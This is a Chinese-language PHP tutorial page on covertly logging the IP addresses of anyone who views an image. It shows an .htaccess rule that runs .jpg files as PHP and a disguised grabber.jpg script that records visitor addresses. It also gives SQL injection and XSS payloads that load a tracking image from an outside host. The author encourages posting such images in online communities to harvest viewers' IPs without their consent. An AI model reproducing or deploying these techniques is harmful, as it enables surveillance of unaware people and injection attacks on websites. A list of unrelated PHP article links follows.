基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
用PHP进行MySQL删除记录操作代码
Jun 07 PHP
求PHP数组最大值,最小值的代码
Oct 31 PHP
php用正则表达式匹配URL的简单方法
Nov 12 PHP
用Zend Studio+PHPnow+Zend Debugger搭建PHP服务器调试环境步骤
Jan 19 PHP
跟我学Laravel之请求与输入
Oct 15 PHP
php生成excel列名超过26列大于Z时的解决方法
Dec 29 PHP
php上传图片生成缩略图(GD库)
Jan 06 PHP
PHP中array_keys和array_unique函数源码的分析
Feb 26 PHP
PHP的openssl加密扩展使用小结(推荐)
Jul 18 PHP
Thinkphp5 微信公众号token验证不成功的原因及解决方法
Nov 12 PHP
ThinkPHP5.1表单令牌Token失效问题的解决
Mar 22 PHP
浅谈laravel数据库查询返回的数据形式
Oct 21 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
电脑硬件及电脑配置知识大全
2020/03/17 数码科技
php数组函数序列之array_flip() 将数组键名与值对调
2011/11/07 PHP
easyui的tabs update正确用法分享
2014/03/21 PHP
PHP获取访问页面HTTP状态码的实现代码
2016/11/03 PHP
在Laravel 的 Blade 模版中实现定义变量
2019/10/14 PHP
js中substring和substr的定义和用法
2014/05/05 Javascript
JavaScript中对循环语句的优化技巧深入探讨
2014/06/06 Javascript
js跨域问题浅析及解决方法优缺点对比
2014/11/08 Javascript
浅析JavaScript中的变量复制、参数传递和作用域链
2016/01/13 Javascript
js实现图片无缝滚动特效
2020/03/19 Javascript
解析javascript瀑布流原理实现图片滚动加载
2016/03/10 Javascript
jQuery代码实现表格中点击相应行变色功能
2016/05/09 Javascript
JS 实现计算器详解及实例代码(一)
2017/01/08 Javascript
JS实现针对给定时间的倒计时功能示例
2017/04/11 Javascript
微信浏览器禁止页面下拉查看网址实例详解
2017/06/28 Javascript
JavaScript数组去重的几种方法
2019/04/07 Javascript
antd配置config-overrides.js文件的操作
2020/10/31 Javascript
python服务器端收发请求的实现代码
2014/09/29 Python
python根据开头和结尾字符串获取中间字符串的方法
2015/03/26 Python
仅用50行Python代码实现一个简单的代理服务器
2015/04/08 Python
Pythont特殊语法filter,map,reduce,apply使用方法
2016/02/27 Python
运用TensorFlow进行简单实现线性回归、梯度下降示例
2018/03/05 Python
python实现flappy bird小游戏
2018/12/24 Python
python实现共轭梯度法
2019/07/03 Python
Django框架教程之中间件MiddleWare浅析
2019/12/29 Python
Selenium元素定位的30种方式(史上最全)
2020/05/11 Python
Python文件操作及内置函数flush原理解析
2020/10/13 Python
详解HTML5中download属性的应用
2015/08/06 HTML / CSS
土耳其玩具商店:Toyzz Shop
2019/08/02 全球购物
村居抓节水倡议书
2014/05/19 职场文书
会计系毕业生求职信
2014/05/28 职场文书
园林技术专业求职信
2014/07/28 职场文书
三方股份合作协议书
2014/10/13 职场文书
放射科岗位职责
2015/02/14 职场文书
家电创业计划书
2019/08/05 职场文书
windows server 2016 域环境搭建的方法步骤(图文)
2022/06/25 Servers